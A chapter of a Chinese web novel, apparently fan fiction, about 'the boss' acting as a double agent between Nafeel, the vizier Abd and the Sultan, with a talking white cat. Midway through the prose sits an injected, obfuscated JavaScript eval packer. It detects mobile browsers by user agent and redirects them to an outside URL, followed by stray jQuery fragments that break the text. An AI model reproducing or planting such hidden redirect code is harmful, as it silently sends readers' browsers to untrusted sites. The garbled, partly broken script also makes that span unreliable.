不得不说,日子过得飞快,一转眼,苏丹回来了,梅姬回来了,老板和奈费勒的探讨教学,也进行得非常顺利。不得不说,奈费勒还是非常有灵性的,只要稍加点拨,就立马明白问题的根源。
就比如那群天天跑着偷钱的孩子,就是一个很大的问题。
“他们这样长大,会变成流寇的,应该给孩子们受教育的机会,然后是一份工作。”奈费勒悟出这一点后,竟然第一件事,就是去找了这群孩子的负责人,商量后决定给孩子们建立一所不用花钱的学校,让孩子们进来学习。并且花大力气产出掉了把孩子拐走弄成残疾的人贩子头目白肚皮。
老板这才发现,难怪一直有人跟踪自己,闹半天,是那个人贩子。
但是跟大白猫一直夸赞奈费勒不同,老板一直觉得这个奈费勒有点怪异,但是说不上来。
当然,老板还是在当双面间谍,在宰相阿卜德那边,扮演一个毕恭毕敬,渴望向上爬的狗腿子,还设计了男妓骚扰奈费勒粥铺的计划。另一边,老板还故意去奈费勒的酒会,把奈费勒收买的贵族们骂了一顿,把奈费勒的座上宾气得恨不得把老板生吞活剥了。
阿卜德策划的“找男妓骚扰奈费勒”的事情,老板当然提前通过奈费勒那只多邻国大绿鸟告诉了奈费勒,虽然早有准备,但是那天,不论是老板还是奈费勒,都还是低估了男妓的可怕,被恶心得团团转,看得老板都捏了一把汗,到底从哪里找来了一个“如花”一般的男妓啊,太牛了。
当然做戏就要做全套,既然是演敌人,那么不能在我这边刷存在感,我也要去你那边刷刷不是。
当老板出现在在奈费勒的私人聚会上,果然是引起了群嘲。很多人骂老板是苏丹的狗,老板不太在乎,还会回怼两句,不得不说这些人嘴皮子太笨,被老板骂得那个叫鸦雀无声,最后干脆都生闷气,不说话了。
老板跟奈费勒的门客们吵到最后,甚至有点担心,奈费勒不会忍不住帮抢,不然就是怀疑自己吧。事实证明,奈费勒倒是忍住了,只是事后比较震惊,因为那天,老板提前让奈费勒准备了高度数的烈酒,让大家喝一点,酒后吐真言嘛。
果然,喝多了,大家什么话都敢说了,不光抓到了里边的奸细,也让不少人表明了自己跟着奈费勒的真实目的,为了女人,为了更多的钱等等,几乎没有人单纯的为了让普通人过上好日子。
“我没想到竟然集合了这么一群乌合之众。”
上次和老板会面,老板教会了奈费勒,要复制自己,人要传播自己的理念,让更多的人接受,复制的人越多,传播的就越广,哪怕将来自己死了,也会有人接手的,就像宗教一样,要让他成为一种信仰。然后呢,奈费勒做了,招揽了一群“貌合神离”的门客,发生了上边的事情。
“乌合之众是必然的,奈费勒大人,你才能接触多少人?几十个,几百个,你怎么能保证这些人中间有完全理解您的?奈费勒大人,你不会到此就感受到挫折了吧,这才刚开始。”
“我明白,我会继续接触更多的人,我只是担心,这群人会不会叛变。”
“不会的,只要你给他们想要的就行。”
“这么简单?”奈费勒显然不相信自己的耳朵。
“是的,就这么简单。他们能让你达到目的就行。奈费勒大人,这也是我接下来要教你的,就是学会分辨身边的人,没有人是无欲无求的,但是人的所求不同,有人是物质,有人是精神。”老板安慰有点受伤的奈费勒时,感觉这话有点耳熟,后来一想,上次好像也是这么安慰他的。
“那你又为什么一直支持我呢?总不能是欣赏我吧。”
“欣赏你是一部分,主要也是为了我内心的平静。”老板的话,让奈费勒听不懂,但还是点头接受了,毕竟就像老板说的,每个人都有自己的理由。
“不过,奈奈酱,我还是需要提醒你,你将来,总有一天,也会和这些大人们反目成仇的。因为你们追求的并不相同,具体什么时候分开,可能是革命后,可能是明天,你要做好准备。”临走前,老板嘱咐奈费勒:“还有,奈费勒大人,千万不要让人看出来,你跟我私下关系这么好。”
“放心,我会的。”
奈费勒说这些的时候,其实老板并不相信,直到苏丹回来后,大家要开始上朝了,老板抱着大白猫,看到了熟悉的反对3,忽然,从来没有如此安心过。
而且不得不说,奈费勒那天表现的确实很棒,一直怒视着老板,甚至连大白猫路过,都被奈费勒瞪成了大白猫球,吓得抬起两只脚,像个小霸王龙一样,挪着到苏丹面前求安慰,逗笑了整个朝堂。
不光满朝文武,甚至连苏丹都看出来,两个人关系非常紧张,甚至事后还专门敲打了老板:“我听说你前几天把奈费勒挂到树林里去了?”
苏丹说这句的时候,表情非常平静,可老板内心却惊涛骇浪,本以为那天来监视自己和奈费勒的人是阿卜德,没想到竟然是苏丹的人?或者,苏丹的人也在附近,自己没发现。
老板低头一看,才看到苏丹桌子边上,摆满了老板偷偷发行的小册子,其中就有几本奈费勒的同人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546668|171163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老板内心嘀咕着,还好把奈费勒的那本烧掉了,苏丹和奈费勒都能听得懂大白猫说的话,大概率两个人也都能看得懂大白猫的字。苏丹要是能看到结局,估计,今天早上脑袋就搬家了。
苏丹的提问还是要回答,虽然有点棘手。但是,老板是谁,脑子转得飞快,二话不说开始了撒娇耍赖,拉起自己衣服,哭唧唧地对苏丹说:“陛下,您还说呢,我本来想教育叫他,结果被他袭击了,你看看,他抽我的,多狠啊,这么多天都没下去。”
苏丹看到老板背上的被柳条抽红的印记,摸了一下,疼得老板嗷嗷叫,但苏丹很满意,还赏赐了老板活血化瘀的药膏。
而另一边,听到苏丹问起橄榄树林里边事情的大白猫,也在那边添油加醋,说自己被奈费勒的绿鹦鹉欺负了,哭唧唧地让苏丹给自己报仇。
“你这么大一只小猫咪,打不过鹦鹉吗?”苏丹点了点大白猫的鼻子,笑道:好了好了,你之前不是赌马的时候赢了不少钱么,想点开心的,不要跟一只鸟计较不是么?”
听到苏丹这句话,老板和大白猫,喜忧参半。喜的事,哪怕苏丹的态度也是很微妙,但内心里是偏向奈费勒的,毕竟奈费勒顶用啊。苏丹对奈费勒滤镜越厚,就越难发现奈费勒内心已经变化。不过,不能掉以轻心,苏丹猜忌那么重,鬼知道是不是在演戏。
忧的则是,连大白猫去赌马这件事,当时远在百里之外捕猎的苏丹竟然都知道。
“有没有一种可能?赌马场,其实是国家支持的?毕竟是一笔很大的资金来源。”那天跟老板回家的时候,大白猫说道。
“就是这样的。哦,对了A仔你不是在喂一群流浪狗么?他们不是流浪狗,是黑街比赛用的狗。”
“我知道。”大白猫点了点头:“就是这样我才去喂他们拉,很辛苦的尤其是比赛输了,主人会惩罚的,所以要多吃点好吃的。”大白猫美滋滋地,没发现老板的眉头皱了起来。老板重开过好几次,经历过很多事情,也知道很多事情,但是没办法,为了奈费勒,只能这么做。
大白猫本来还在美滋滋地幻想过几天的赛狗比赛结果,却发现今天老板若有所思,便问老板在思考什么?
“思考很多....A仔,我有一种特别不好的预感,但是我不知道怎么说。”
“什么预感呢?”大白猫一歪头,现在不都挺顺利的么?
“说不来,但是我感觉那件事一定会发生,但我不能让他发生,因为那个人很重要。”老板的话,把大白猫说的云里雾里。不过,也不在乎了,因为今天梅姬回来了。